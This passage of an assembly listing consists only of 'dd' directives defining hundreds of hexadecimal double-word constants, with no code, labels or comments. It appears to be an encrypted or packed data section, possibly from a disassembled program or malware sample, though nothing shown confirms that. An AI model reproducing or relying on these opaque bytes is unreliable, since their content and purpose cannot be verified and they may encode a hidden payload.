		dd 533E642Dh, 0FE3AF844h, 0C152FE18h, 0D9CC334Ch, 46550789h
		dd 0CF9EEEEAh, 0C55838Ch, 14229EE9h, 98F193FDh,	0D06A3FECh
		dd 519581E9h, 3CD39FE7h, 3ED4B85Ch, 3EAC2110h, 50C6B92Bh
		dd 0BD6A15F1h, 0BC2E483h, 0C921E467h, 7DAFB9E1h, 2539D9EAh
		dd 0F265813Ah, 53279FCEh, 3ED4B844h, 3EAC50E5h,	37C6B92Bh
		dd 0A5550EF1h, 0BC2E44Eh, 0C9DCE467h, 0FB0B9E1h, 5509DFA3h
		dd 0B027DB90h, 0CF9EA4B7h, 0E7E1B467h, 5326B9D5h, 378B03E4h
		dd 0CFDA11F3h, 2F4C2068h, 53277DE4h, 0D988A416h, 4F6A3962h
		dd 9E21E2D1h, 0B9C2D019h, 7287F6BCh, 0CF9ED1D0h, 0E7E1B467h
		dd 5326B9D5h, 378B03E4h, 0CFDA11F3h, 2F4C2068h,	5327AD92h
		dd 0E588A416h, 9597BF57h, 949B2430h, 1513CECh, 0A58457D2h
		dd 24A1AD5Ah, 0D6D50808h, 7E31BF13h, 0A4A0B2E5h, 5EFDEC6Dh
		dd 0BBD98AB6h, 659DD098h, 7C3EAB9Ah, 83BA9269h,	0E42C9234h
		dd 0A5046B72h, 54965AF1h, 0AF1D253Ah, 6E79A7B7h, 44B63DF8h
		dd 72405BADh, 0FD457695h, 0E46A8058h, 8B441718h, 9710002Dh
		dd 7C45E4C0h, 26523FFAh, 83609C11h, 0C982BA83h,	478372CFh
		dd 59733FE9h, 0D86850FEh, 20FA06A6h, 0CF130657h, 93DD5B37h
		dd 0E3B1A4B0h, 3282353Dh, 0E2108459h, 0F86E1AFAh, 2A10E286h
		dd 875D5F0h, 7FB69C57h,	0A6C881DAh, 73983BDBh, 63689C79h
		dd 89F0650h, 394B6BCh, 4799CF57h, 461306A6h, 0FA1006A6h
		dd 213083Ch, 7D13105Eh,	8812A62h, 8CC6A657h, 213083Ch
		dd 930DA67h, 210E808h, 210F157h, 6AD6C8B7h, 789AF91Dh
		dd 395D9B1h, 3B721AFh, 43030657h, 442BB2CEh, 93330657h
		dd 0EF937DF8h, 2A10E59Ch, 6D9F06A5h, 50A6150h, 1A3E0657h
		dd 4873C004h, 0D31340B9h, 1099B0F5h, 413F4C64h,	311F8393h
		dd 749A5D99h, 399AB02Dh, 3099B012h, 36FFE39Bh, 0B19AB0DCh
		dd 3099B02Eh, 0AB9A5D99h, 311E60CDh, 751A79DCh,	0A999B02Dh
		dd 31B1B02Eh, 3099B24Ch, 4E687DE5h, 7A84DB9Ah, 0D4CCF3Ah
		dd 762B40AAh, 2599B3EFh, 3099B241h, 0CCAF7861h,	0E32E08D4h
		dd 101F1FD5h, 0D1CC4BD9h, 0AB99B02Eh, 311E6183h, 36E279DCh
		dd 3099B0DCh, 309A8CDCh, 894C5024h, 3099B303h, 363AE16Ah
		dd 0F7E945BDh, 0B9B7077Ah, 7270B02Eh, 9B99B0DCh, 977D4042h
		dd 0E068C709h, 5899B30Ah, 539AB02Eh, 309A8371h,	36FF4BE5h
		dd 0A98A6ADCh, 8981B0CAh, 0D4722775h, 98A8F8C0h, 166B50DBh
		dd 36E98571h, 0EA4C50DCh, 51E95048h, 6437E347h,	0B9B8036Bh
		dd 109A8F17h, 61972141h, 2519B1CEh, 3D5E0853h, 37B9B02Dh
		dd 3604A28Ah, 986238DCh, 5D90B0DBh, 0A0B0E2Ah, 0ADE84C1Fh
		dd 924CB94Dh, 311EACFAh, 360BAAE5h, 6D310DCh, 6362A093h
		dd 0B18C3D1Eh, 9B4C970Eh, 8FCBB0DBh, 3992A05Ah,	5BE63E6Bh
		dd 55CA40E7h, 360BD44Fh, 0BB9F2FDCh, 172443D0h,	0A425CC63h
		dd 0BC70B02Eh, 0B499B02Eh
		dd 23D02B0Dh, 0F0CD87CBh, 0ADF64238h, 3604AE1Bh, 321A79DCh
		dd 0AB99B0DCh, 3099B0AEh, 1099B0DCh, 14E960AEh,	0DAD79AACh
		dd 9B15B02Eh, 0AB4D50DBh, 3604DC7Bh, 3A0CDDDCh,	0BC30AC24h
		dd 0E5F974Ah, 4BF59CD8h, 0B21D6834h, 980CB02Eh,	33800BDBh
		dd 0E5EB0DCh, 823FD3C5h, 259A223Ch, 3099B24Ch, 8837D1DAh
		dd 0FCBAAC55h, 0C4F92113h, 3D18D51Ch, 36FFFE90h, 0B09AB0DCh
		dd 3099B2B7h, 2599B024h, 3099B254h, 0E5BED971h,	0E6A96E9Bh
		dd 3F9AB2B7h, 3099B19Bh, 2A7D0C3Ch, 85CDEB82h, 11654D01h
		dd 0A99A8C0Eh, 9B15B02Eh, 36080BDBh, 0F69AB0DCh, 5CA5127Dh
		dd 99B453D1h, 0D9B63413h, 309A84AAh, 0A7A16E3Ch, 0C770B02Eh
		dd 0CD99B02Eh, 87AC29B6h, 0DE414D71h, 74CEB49h,	0D60AE341h
		dd 98B30329h, 0E8BA8CDBh, 0A653C071h, 9DE44D71h, 31920BDBh
		dd 0E192B0DCh, 0AC6036CEh, 289AB02Eh, 3099B2B7h, 309A9999h
		dd 309A049Bh, 0F8B9B0DCh, 86E85517h, 359A8C13h,	37856D0Dh
		dd 0AB99B0DCh, 301A9E39h, 311F814Fh, 9DCE319Bh,	2B9AB0DBh
		dd 3099B280h, 311EAC3Ch, 0AB99B3D0h, 309A8D32h,	309A8CDCh
		dd 0A8E8723Ch, 1099B02Eh, 0A43B6817h, 970B02Eh,	1899B0DCh
		dd 0E0F43578h, 7B2E0015h, 0B8170D9Eh, 98B1B02Eh, 0C79E79DBh
		dd 2599B02Eh, 3099B1A2h, 2FDBA042h, 0BC1485Fh, 7A7F68B6h
		dd 36051E41h, 9861F499h, 1BCBB0DBh, 0ACDC28E2h,	62CDC664h
		dd 970B0DBh, 2F99B0DCh,	648DC4FBh, 0F28C192Fh, 901B5A5Fh
		dd 0C570B0DBh, 7D99B0F5h, 0D58DE846h, 1C5D6CADh, 241D2C1Dh
		dd 13686401h, 31B9B0F5h, 309A82E7h, 0CF506024h,	3E8638EAh
		dd 9FB27F39h, 27235A95h, 0C010E333h, 259A9263h,	3099B3C6h
		dd 0C3643A1Bh, 0EF0865ECh, 360556D5h, 2599B024h, 3099B3C6h
		dd 0EE33C202h, 86171185h, 3F9F43D2h, 975440B6h,	0AB9A8C14h
		dd 3604AF83h, 321B79DCh, 0AB99B0DCh, 309A2F5Fh,	309A9BDCh
		dd 9B47943Ch, 0BA4AB0DBh, 50C51EF5h, 0AB834C1Ch, 8DA7EE94h
		dd 98BA7D5Dh, 0AA7F79DBh, 2599B02Eh, 3099B3C6h,	0E9A06633h
		dd 0FAEB81BCh, 9B15CBCBh, 9B460BDBh, 0A971B0DBh, 8F35CD40h
		dd 9810F62Ah, 51E950DBh, 311F8231h, 428D433Ch, 0BA4CE26Dh
		dd 3099B2B2h, 0D58C2B6Ah, 0CA70B02Eh, 9F99B02Eh, 0E7150E1Ah
		dd 5801773Dh, 0FE0370DAh, 8C416A92h, 1099BAECh,	36FF424Fh
		dd 328F60DCh, 943DC44Dh, 0DC3647EBh, 0BD9E5FCh,	7DE7A7F3h
		dd 0AB9A8C14h, 360631AEh, 728250DCh, 3299B0DCh,	0EC5DE79Dh
		dd 4AF830D2h, 36E2405Ch, 0AD99B0DCh, 30B9B02Eh,	3099B1B5h
		dd 9F9505F5h, 0A6D8A82Fh, 0A0BA5E7Dh, 3882CC37h, 7A140B3Ah
		dd 0D2F41119h, 0D459F123h, 27B7121Ah, 5778C283h, 54B0B0ABh
		dd 0D45FC628h, 7AD463D9h, 49CA2D19h, 0D2F32D6Ch, 68295ADEh
		dd 0A37867AFh, 3E6497AAh, 0D2F65217h, 0ADDB307Ah, 0CDF32D1Ah
		dd 0FE98A4AFh, 7520072Fh, 0C1326D0h, 7F36F9AFh,	7ABB9619h
		dd 16DD2D19h, 695E80C5h, 0BCBD4370h, 0D4CA2D6Ch, 0CEF32D1Ah
		dd 0ED59973Ah, 0F2F32E36h, 0D2F4EC24h, 9914571Ah, 13126BEEh
		dd 472E46EFh, 0D179EB6h, 0B24F1FFFh, 4214D2FFh,	0D45F988Bh
		dd 0D4422D1Ah, 2441CD1Ah, 81F32D6Ch, 9E4F1CFDh,	1CF03917h
		dd 330EB30Fh, 62D8D903h, 0F761358Eh, 5B1B1C89h,	0A7F42D6Ch
		dd 0D2F41F28h, 0D459E323h, 0AD75371Ah, 0F825C000h, 0AE2B70DFh
		dd 0BCCCB09Ch, 49CA2E42h, 0DDF32D6Ch, 0A22240EDh, 70F18EEDh
		dd 0AE03C557h, 0D459E5CDh, 0C7F32713h, 0D2F32F7Fh, 0A7D748B5h
		dd 1AF67404h, 0C88D1775h, 0C7F32D61h, 0D2F41F25h, 1AD17395h
		dd 0B3521235h, 0F41432BDh, 31985547h, 0D44E0C4Dh, 79FC951Ah
		dd 0D2F41119h, 0D3791923h, 0DBB74B1Ah, 0D45FBF70h, 0D459E323h
		dd 76572B1Ah, 827F93BDh, 59C65712h, 22748A53h, 0D3132D6Ch
		dd 0D2F32F8Ah, 0A2ACD34Eh, 0CAE00590h, 63BC440Ch, 66A841A7h
		dd 43AC7B61h, 96F41255h, 7A662D6Bh, 0D2F59519h,	0D4653723h
		dd 4BFABF1Ah, 7B5B4EDAh, 0A8D5913Bh, 0D459F08Dh, 1BF0141Ah
		dd 0B3415951h, 0F60F462Ch, 0D45996E2h, 7F2799D9h, 0A7F42D19h
		dd 0D2F32FBEh, 0D378317Ah, 49F32E0Eh, 0D459EE27h, 7ABB961Ah
		dd 0FC122D19h, 47700BBFh, 0B947215Eh, 1971B6A2h, 674AB975h
		dd 72422C1Fh, 383E1290h, 27CA2D6Ch, 0C1F32D33h,	5255F0Fh
		dd 9806966Bh, 165F38C2h, 590FA839h, 3B132D33h, 809FD4B0h
		dd 7AC72BFCh, 0D4489619h, 0A6D22D1Ah, 0ED59973Ah, 0E7816336h
		dd 0CADA150Ah, 7A83489Ch, 0B2A6CD19h, 0D2F32FF5h, 0D4615813h
		dd 58422D1Ah, 424BB255h, 7D94E564h, 7F3DF74Dh, 0BAE9CD19h
		dd 0D46549B9h, 44A66A1Ah, 0E66891A4h, 6D4359A4h, 0F1132D6Ch
		dd 4267728Bh, 49F41255h, 0D45E32AFh, 0D126E41Ah, 49F32D1Ah
		dd 0D2F32E44h, 4BF32D1Ah, 0ACCA2D6Ch, 0E0F32D1Ah, 0CDE6BF0Ah
		dd 0AF772C96h, 4C9A94A7h, 0D7F4B2A8h, 0C132D6Bh, 0F653851Bh
		dd 6D3CF87Fh, 7DFA2D6Ch, 0D2F32F89h, 0B341EF0Eh, 767C65E6h
		dd 0D0C1B638h, 0B74448DCh, 96F4BB3Ch, 89132D6Bh, 56BC3ABAh
		dd 0D489708Bh, 27DB2D1Ah, 0BBF32D33h, 0DD76B328h, 8F3D25FAh
		dd 0D510D6C1h, 994BC264h, 0D378318Fh, 0D2F3ACD9h, 796F2D1Ah
		dd 5EABE419h, 0C7F32D6Ch, 0D2F32E41h, 51023B4Dh, 7E7AE528h
		dd 0D2F33108h, 0D57B5741h, 6366D2D5h, 55041574h, 2CF42FF5h
		dd 0D2F32FF6h, 0F2F32713h, 0D1DA7C8Bh, 1A0B2D1Ah, 0D4761A8Bh
		dd 0D2F32E75h, 7A141E1Ah, 3C3BCD19h, 5B005D6Eh,	7A662D6Ch
		dd 0D2F41119h, 0D3782823h, 0B471F01Ah, 0F12B516Dh, 0C7F326FDh
		dd 0D2F32E41h, 6F6DE8E2h, 7A9C22A4h, 2F75E419h,	0F2F32D6Ch
		dd 7F26D614h, 4FF32D19h, 0C4FA2D6Ch, 0D2F56A1Ah, 7A887DD9h
		dd 0C132D19h, 9C7286BDh, 9B4887B8h, 49F41152h, 0D46548C2h
		dd 0D3EC961Ah, 0A6672D1Ah, 7A1D8A31h, 0D2F56A19h, 0F2F32D62h
		dd 37C91A8Bh, 796F2D6Ch, 0D2F59519h, 0C7F32D62h, 0D2F32F96h
		dd 0D0C7D29Fh, 0D8F2DD18h, 0AF808F1Ah, 7B6D8D8Dh, 0BF27A5ACh
		dd 0C9F42D6Ch, 0D2F32E04h, 0D2F599D9h, 5B132D1Ah, 49CA2D6Ch
		dd 0CEF32D6Ch, 66F43D45h, 51592905h, 7E7E93EBh,	0D459EB0Dh
		dd 0D3EB84D9h, 0B1F42D1Ah, 0D2F32E2Ah, 0D2F4C7D9h, 0C132D1Ah
		dd 0CD4064BEh, 0D0A0DFB5h, 0D3791C1Bh, 0F2F32D62h, 0D45F748Dh
		dd 4E1D221Ah, 0D28F68FFh, 0C73D1E22h, 0C7F4114Bh, 0D2F41F25h
		dd 9532DDC5h, 209D9C64h, 0EA1B1A54h, 21D243Ah, 79929510h
		dd 0D2F59519h, 4BF4C0D7h, 7A0B2D6Ch, 0CAF51119h, 0D2F41F28h
		dd 0D459E323h, 7865341Ah, 220B2373h, 0D8D6399Ch, 52CDEFA1h
		dd 2CF42D6Ch, 0D2F32FF6h, 96F4C0D7h, 0B132D6Bh,	0E7E020BDh
		dd 0A7B124EAh, 50781182h, 4E132D6Ch, 0A1ACB6BEh, 0D3791C25h
		dd 0D574EF7Ah, 49F32D1Ah, 3740B077h, 0F5F32D33h, 9F5DE850h
		dd 7A14E987h, 0D3EC9619h, 363B2D1Ah, 7A8599A7h,	0C8A7CD19h
		dd 7F385F84h, 0D242CD19h, 0D3790AD3h, 0CA0A811Ah, 0BD69003Ah
		dd 0F2F41256h, 0F8B6F775h, 32AE96DEh, 0C7F4114Ch, 0D2F32FC3h
		dd 1A6D6EB1h, 8DF89CFDh, 0C7F32FBFh, 0D2F32E2Dh, 0E1C8064Bh
		dd 6A2FE1DCh, 7E6BCD8Fh, 7243CD19h, 7F375CF4h, 0D2F56A19h
		dd 0D45E2F23h, 67A1111Ah, 14CA4674h, 116FFC34h,	42163096h
		dd 0CF22389h, 79A263D9h, 3B132D19h, 4D19FBEEh, 36677F69h
		dd 50EB26F7h, 1A0B2D6Ch, 0B487BD75h, 20D97BA3h,	0D3782FC1h
		dd 0F2F32713h, 0D45E2F24h
		dd 0DAE9791Ah, 0F6C3E201h, 0E69765D3h, 0FE635800h, 69886CECh
		dd 19E41A8Bh, 7A2B0A4Ch, 0D70D2D19h, 0D191AFBAh, 0D51F30B8h
		dd 3838615Eh, 0D45FF48Bh, 0CEF42D1Ah, 0D2F32E2Ah, 0D2F4B6D9h
		dd 0D2F32D1Ah, 0C7F32713h, 0D2F32E48h, 9FFA5C3Bh, 2FDC1C90h
		dd 99F32D6Ch, 8C325799h, 0B0545B92h, 54F42FECh,	0D2F32E42h
		dd 334CB67Ah, 0D3783034h, 0D460AD23h, 3FCD581Ah, 8029BECDh
		dd 0A96272DBh, 19AE427Fh, 0D45FB49Dh, 5EABEF7Ah, 0C7F32D6Ch
		dd 0D2F32E41h, 76CA137Ah, 4F3E5DDAh, 7F37017Fh,	0D2F40619h
		dd 0D3782823h, 1AD4B51Ah, 78EECABCh, 0EE74CD6Eh, 28EA2A1Dh
		dd 0F2F40FA1h, 0DE3DF4AEh, 0D3783173h, 0C7F32D62h, 0D2F32F92h
		dd 0EED785F6h, 30374AEFh, 0D3132D6Ch, 0D2F32E2Dh, 2C1765FBh
		dd 0CDE68ACBh, 662FAC2h, 5FA61F40h, 0D2F32D49h,	0D39EC0D9h
		dd 0AFF42D1Ah, 0D2F32FECh, 32CA2D1Ah, 85F32D33h, 7B66B461h
		dd 7A0CE9F4h, 0EBDFE419h, 0C7F32D1Ah, 0D2F32F92h, 12E36F99h
		dd 2B467DB7h, 1A662D6Ch, 1E997CA2h, 0D39756CCh,	791A2D1Ah
		dd 0C4996F92h, 49F4114Bh, 0D3790670h, 3021E41Ah, 0BAF32D6Ch
		dd 0CAF42D6Ch, 0D2F32FF5h, 0C7F4C0D7h, 0D2F32CE0h, 1643C411h
		dd 213B52A6h, 11CDD0D7h, 7971E5A5h, 4F3CE419h, 0C7F32D6Ch
		dd 0D2F32E04h, 5A74769h, 0B47B398h, 0CC603EADh,	0D2F32E04h
		dd 7AE0EF7Ah, 4FF32D19h, 0D4CA2D6Ch, 0E2F32D1Ah, 72FAF51Dh
		dd 8341E149h, 0C6F32D19h, 0E2CEDC66h, 3ED3744Bh, 0D646EDE4h
		dd 0B4F32D1Ah, 0E372943Dh, 54A6B653h, 0D2F32FD7h, 51595A9Ah
		dd 27662D6Ch, 0FA132D6Ch, 0D314EAEFh, 0D2F32E04h, 44296831h
		dd 32664B10h, 0D465486Bh, 0D45E3423h, 57D6A81Ah, 0F1062D97h
		dd 7AAF016Ah, 0D2F58F05h, 0D7F32713h, 54F42D6Bh, 0D2F32FC4h
		dd 0D2F58BD9h, 5B132D1Ah, 6D132D6Ch, 44154491h,	749C5C75h
		dd 49F41152h, 0D37905ECh, 0D474E41Ah, 0F2F32D6Bh, 0F2F41255h
		dd 532D84BEh, 0D39E097Dh, 709B2D1Ah, 0ADD29541h, 0D3970A4Bh
		dd 2DC62D1Ah, 0D2F233F7h, 0D2F4961Ah, 4B0D2D1Ah, 2B835579h
		dd 6766FCFEh, 0D45BB7EAh, 26A7E41Ah, 49F32D6Ch,	0D459CF27h
		dd 7F2E961Ah, 55DB2D19h, 0FEECB3ECh, 0F43FD18Fh, 8A6E0BDh
		dd 0E1708013h, 6D516F83h, 54F42D6Ch, 0D2F32FF5h, 0D4895662h
		dd 0C0222D1Ah, 0E3D1DDC0h, 36C2A353h, 4F5CF363h, 5C1D0BA1h
		dd 0D46063ACh, 7F2871D9h, 52F42D19h, 0D2F32FF6h, 0D378317Ah
		dd 0C7F32D62h, 0D2F32E48h, 0CD75264h, 0D460A116h, 0D460AD23h
		dd 0FA1F1B1Ah, 551541F1h, 3DDB565h, 9FAB23Ch, 0D45E2E81h
		dd 49F4C0D7h, 0D2F4105Ah, 0D962951Ah, 0D2F32E17h, 88DD917Ah
		dd 0F4BC3773h, 7F3865AFh, 0D2F40619h, 0D1DA7ED9h, 22662D1Ah
		dd 0D50B2D6Ch, 0D2F4106Ch, 0D2F4111Ah, 283CD613h, 49F32D6Ch
		dd 0D378FCAEh, 0D442E41Ah, 0D2F32D1Ah, 0B343CD1Ah, 0F290907Eh
		dd 4FF3B4E3h, 22662D6Ch, 0A7F42D6Ch, 0D2F32D34h, 0D45E2F23h
		dd 0AF4B541Ah, 0D608B9C4h, 0C214469Ah, 71CDE2D1h, 246770B1h
		dd 2CF42D6Ch, 0D2F32E15h, 0D3EC687Ah, 5AAF2D1Ah, 1AF17737h
		dd 0D459D58Dh, 0B4574E1Ah, 58ABBAE2h, 0FCBC51Bh, 5AFB2EBFh
		dd 4E132D6Ch, 0B495C6A2h, 4BF41255h, 0CEF42D6Ch, 0D2F32D6Bh
		dd 0D39771D9h, 7A662D1Ah, 0D7B6CD19h, 4FF5B715h, 52F42D6Ch
		dd 0D2F32E2Dh, 0D723B97Ah, 0AF25F1F4h, 96F4114Bh, 7D3BBA4Bh
		dd 6D55C649h, 2CF42D6Ch, 0D2F32D6Ch, 0FBAEEF7Ah, 7A14D987h
		dd 0D3EC9619h, 5D3A2D1Ah, 7E6D9BDAh, 0D3EC9619h, 0ED092D1Ah
		dd 0D0635420h, 0D2F4111Ah, 0BAF32713h, 0C4FA2D6Ch, 0D1DA961Ah
		dd 64532D1Ah, 26AF4446h, 0D7F32C5Dh, 4ACA2D6Bh,	0A6F32D6Ch
		dd 0FAA4CCC9h, 2D49B009h, 0B90B6D7Ch, 7AC18DF9h, 5941CD19h
		dd 0CEF32D33h, 50BFD68Bh, 37E91A8Bh, 7F3D2892h,	5D41CD19h
		dd 98F32D33h, 75F89DEEh, 614F5666h, 3BCEE3EDh, 16043F8h
		dd 0A88D248Bh, 33DCC600h, 0F2F32D33h, 941508FDh, 49F4114Bh
		dd 0D378F870h, 0D489961Ah, 9BF42D1Ah, 0EDB29499h, 21419E8h
		dd 15B7BF4h, 0C73C3AEDh, 0D2F32D9Dh, 3B02F37Ah,	719A57FBh
		dd 0D3791E5Ch, 96F32E0Eh, 52F42D6Bh, 0D2F32FF5h, 0BAF4C0D7h
		dd 7A662D6Ch, 9823E419h, 0BAF32D6Bh, 0D4CA2D6Ch, 8F32D1Ah
		dd 0AFF5F393h, 0BAF326FDh, 7A0B2D6Ch, 25DCCD19h, 0B9F32D6Ch
		dd 446BAFE2h, 0A09231h,	7F9F9FE5h, 0C47F20ABh, 33C85E06h
		dd 0ACF32D33h, 98F9B96Fh, 823494C7h, 5B11240Bh,	90CA2D6Ch
		dd 0BEF32D1Ah, 1629000Dh, 0FD31D3AAh, 0BAF32F63h, 7A662D6Ch
		dd 3175E419h, 49F32D33h, 0D2F4105Ah, 0D2F4061Ah, 0D4654A23h
		dd 1A483C1Ah, 0BDE12E4Dh, 0D45E5CC2h, 4975E41Ah, 0C7F32D6Ch
		dd 0D2F32E04h, 17ACA3C1h, 6A54FE2Ch, 243F6295h,	0CAF32D6Ch
		dd 0FB41B267h, 3EE9D600h, 20B500ADh, 7DD9BDE9h,	0D2F40619h
		dd 0D45A5662h, 0FF3F2D1Ah, 1F5C044Bh, 49F41F22h, 0D379059Dh
		dd 3021E41Ah, 4BF32D6Ch, 38FA2D6Ch, 0B45CD254h,	0B02A9742h
		dd 1C6F9742h, 0C72A9742h, 0D90BEF2Bh, 3A69CE85h, 59CE2EE8h
		dd 6EF20319h, 3C2A983Dh, 572A959Ch, 50BB4971h, 0AD91B3DDh
		dd 0F04A9754h, 6E9D8F7h, 0D728DC5Ch, 0B02AB361h, 62299742h
		dd 572A9875h, 7EFFFCF4h, 0BE2AB25Bh, 681C6D8Fh,	2B78F754h
		dd 0B009A2Bh, 67C5A750h, 681C6B63h, 58C07854h, 3A2203B3h
		dd 8E4A94E1h, 0F564F754h, 0B8F0C387h, 0CBC44E83h, 0ACD0DB0Ch
		dd 0BE2AB316h, 67C5C71Bh, 0B1D3D254h, 0B02A9742h, 60299742h
		dd 572A973Ah, 681B9463h, 59DCFE54h, 473096BCh, 9A87346Eh
		dd 2D61E123h, 2EBC1722h, 0BE6F9742h, 912A9742h,	0A5A08A5h
		dd 0CD8F419Eh, 0D01DA1C1h, 8355F49Ah, 0CB57D254h, 0F72A9753h
		dd 681A479Bh, 67F79754h, 57491F54h, 0B1DBB9F4h,	0F72AB315h
		dd 6608480Ch, 0BAA4EDD4h, 57139742h, 572A97FEh,	36D9D7F7h
		dd 3D2C7357h, 83BBCDF2h, 681A3A2Ch, 68D7EAFDh, 2E329754h
		dd 6F3F480Ch, 67F79A93h, 8DDE2054h, 96759754h, 7AFC68DFh
		dd 681B2123h, 0ABA9D254h, 0B02A9742h, 8E329742h, 5CCCF754h
		dd 34CEC8Ch, 8E4AE6E5h,	57491F54h, 0BE2A9850h, 67C5E7B9h
		dd 0C7A1F754h, 7A2A9753h, 0D9CF3975h, 0BAAB3F07h, 460E9742h
		dd 62299742h, 572A95C1h, 572AA11Fh, 678E2FFDh, 9B299754h
		dd 572A9803h, 681A39FDh, 8E0E9754h, 68CC2054h, 3C4E9754h
		dd 0C818A999h, 0D5486681h, 64ABACF0h, 0F3E317D2h, 0F72A8D08h
		dd 2E31FE0Ch, 681B948Ah, 812A7354h, 0C161DF19h,	0D95E287Ah
		dd 237F4C90h, 34FEE4CAh, 0EF49F6D8h, 3C2AB361h,	572A95A8h
		dd 0DC255A8Eh, 9129B957h, 93B16D72h, 3D371018h,	63A6895Fh
		dd 67C5C7C9h, 0F0F98554h, 68CB6CC2h, 0C7D3D254h, 0F72A9742h
		dd 681A339Bh, 39AA9754h, 67C592AFh, 681C7C63h, 4C484854h
		dd 4F303ED3h, 88BF3F0Eh, 0F04A9754h, 0EF0ED487h, 0FF4A9742h
		dd 5CAEA89Bh, 67C5FC9Ch, 0A1049754h, 8E85283Dh,	57491F54h
		dd 572932FDh, 60299754h, 572A95C1h, 4F2A97CCh, 8E0E9742h
		dd 3C44F754h, 0CB78C051h, 574A9742h, 572A97FEh,	1AD0250Ch
		dd 59A8AD0Ah, 11F65E4Dh, 2E3BD88Bh, 0F050FE0Ch,	0D48BBC20h
		dd 6D4A9742h, 67C60FB2h, 40B39754h, 9A9B969Ch, 1BCBF47Fh
		dd 67C5A65Fh, 0C79BD5F4h, 92A9753h, 0B1F96F41h,	0A73F480Ch
		dd 67C5A86Fh, 67BB2FFDh, 393F9754h, 572AB354h, 67C5C763h
		dd 61A1E954h, 38EDCCA9h
		dd 572AA492h, 51CDD7B2h, 0E1668E5h, 6A1D4461h, 37F3C243h
		dd 681B5424h, 574820FDh, 8E329754h, 68D92054h, 2439754h
		dd 0BDD59A4Ch, 11F64F32h, 35CD1B9h, 681A3230h, 8E4FABF4h
		dd 0A9D99754h, 0BAE914B9h, 691EFCC7h, 0AB2AB316h, 60299742h
		dd 572A95C1h, 0F72A97CCh, 470B2273h, 172BDCBCh,	9AE171A9h
		dd 9AC1700Bh, 64CF978Ah, 1D7548BEh, 40EEC628h, 7F171174h
		dd 74799BFCh, 0AB5C82ADh, 9A109C5Bh, 9AC172DDh,	6F9A00AEh
		dd 2BD6CD02h, 0EEC18DC8h, 9AC971A9h, 9AC17265h,	78CC318Dh
		dd 0B61D15A7h, 2D645C11h, 0D1C39DEBh, 9AC18DBBh, 9240B05Bh
		dd 4CC171A9h, 0F16FC87h, 9AE171A9h, 9AC1700Bh, 2965521Eh
		dd 252835A4h, 5A9667C9h, 8FB62367h, 0BB7038F3h,	0AB5C8043h
		dd 0B496D75Bh, 0C540D6C2h, 47738A2Dh, 9AC17028h, 0AB5C6DC2h
		dd 3AC167DAh, 0B054CD29h, 0AB5C9456h, 1F4173BBh, 0C69A4A3Bh
		dd 9AC0FABBh, 0B6D71BBh, 0E2EA75DFh, 5EF3C3AAh,	0D1A45D32h
		dd 9ADFF9BBh, 0AB5CB9CAh, 424584BBh, 5555652Ch,	0EC4FEDF1h
		dd 0C6FC05B3h, 9A0CD1BBh, 9AC1700Bh, 30B4E3A8h,	0BA93A9A2h
		dd 0BD7CC371h, 8854E263h, 0AB5C9484h, 20B663BBh, 0A6AD621Ah
		dd 0D1E1A83Fh, 0AB28FABBh, 0C7B371BBh, 0AC6A03B5h, 0AC6BFABBh
		dd 67D671BBh, 7A326931h, 0DBD39911h, 0DCFAD12Ah, 92F78119h
		dd 0ABB1F6EAh, 3AC17233h, 40EFAA73h, 3AC18D5Ah,	0D1E1BC39h
		dd 0AB28FABBh, 5B0371BBh, 0D2F16C4Bh, 7A72D1BBh, 9AC16D87h
		dd 0A0416E5Bh, 6AE9B7h,	0AFC18DC8h, 1FE171A2h, 0C7AF39BEh
		dd 7FC18D7Dh, 9AC16D87h, 641F1834h, 0ADB5F62Bh,	8338D47h
		dd 0D1A571BAh, 9AC126BBh, 0C263B05Bh, 710227Ch,	0AB5C7FAFh
		dd 0CC40D75Bh, 0ACFFD6B1h, 1990B6E7h, 0AB5C72C8h, 0ABB356CAh
		dd 2F3CF6BBh, 0A49B78BEh, 8E23B800h, 93067029h,	34C171BBh
		dd 6D625F6Fh, 6F67D81Eh, 2BE5D722h, 7CD671A9h, 0B40ACBBh
		dd 3AC171BAh, 0F0D8302h, 12E171A9h, 6B1E180Ah, 0AB26EA3Fh
		dd 5C2971BBh, 3B602530h, 0D1E1C918h, 0C140D1BBh, 4663A98h
		dd 0FA6BACC8h, 0AB5C6DC9h, 0ABB26ECAh, 5A1AB3BBh, 98297A21h
		dd 0F4176773h, 0ECBD4721h, 8FCC4B3Fh, 12E171BBh, 233D4CD6h
		dd 2B64741Dh, 46FC7F25h, 0AEFBEF48h, 9AC1724Ch,	3B3EAC8Ah
		dd 9D4EF96Fh, 3B00C582h, 18C062E6h, 0F11ED29h, 1C18DC8h
		dd 9AC190D5h, 9AC18ABBh, 9299B05Bh, 4CC171A9h, 0F9973CEEh
		dd 1C18CC9h, 9AC18FFBh,	9AC18DBBh, 5CDDB05Bh, 7FC171A9h
		dd 9AC1705Eh, 722439D0h, 91FABF45h, 0C3FECC59h,	0FFCBC62h
		dd 0D1E180C1h, 9AC18ABBh, 0AB5CB9CAh, 6D4983BBh, 575BE154h
		dd 0EDFE505Fh, 0AB257A8Fh, 4072D1BBh, 0D20D6CEFh, 9AC18DBBh
		dd 0F3C172B7h, 32E171A9h, 1EB441C9h, 0AB5C7398h, 0EEC172B7h
		dd 5F0671A9h, 5EC171BAh, 540985FFh, 0BDD9CD0Dh,	0C01FC506h
		dd 5445FE61h, 5E960FEFh, 1AC4868Eh, 0A58E5433h,	48220D50h
		dd 0B5EADFA1h, 7F2F87D1h, 9B224C0h, 229C9815h, 0A4C3108Dh
		dd 278E1450h, 0DF8BD76Fh, 5D5A5A8Fh, 0A6A5C08Eh, 0A58E1E9Eh
		dd 993ADB71h, 423BBB99h, 0C169873Ch, 0E4D143CAh, 1DE89A79h
		dd 0A4E103C9h, 27DD1450h, 43ABF3FBh, 5F353E27h,	5AFEB98h
		dd 230DE376h, 5AC5525h,	0BD6DF905h, 0E551450h, 5E8E146Eh
		dd 94311976h, 85053FC2h, 0A480AB82h, 5F3515CCh,	5AFEB9Ah
		dd 0BD47D88Eh, 0C40D1450h, 15E6A1A6h, 0FB04A7FEh, 371D2FC0h
		dd 0A3AE8E01h, 0A40B65E9h, 0C7207450h, 0A428E70Ah, 841F1450h
		dd 0C36FE6CCh, 0B577D889h, 0F08F0FEFh, 0A58E1454h, 0A4D2F913h
		dd 0EB551450h, 678E1451h, 5C179BDDh, 8E36CC05h,	0F0BAEE42h
		dd 0ED906F9h, 0A355146Eh, 0BF8E1450h, 793DB174h, 100F7E25h
		dd 0BD461287h, 7D8E1450h, 9FAE31DCh, 0A33AE708h, 541450h
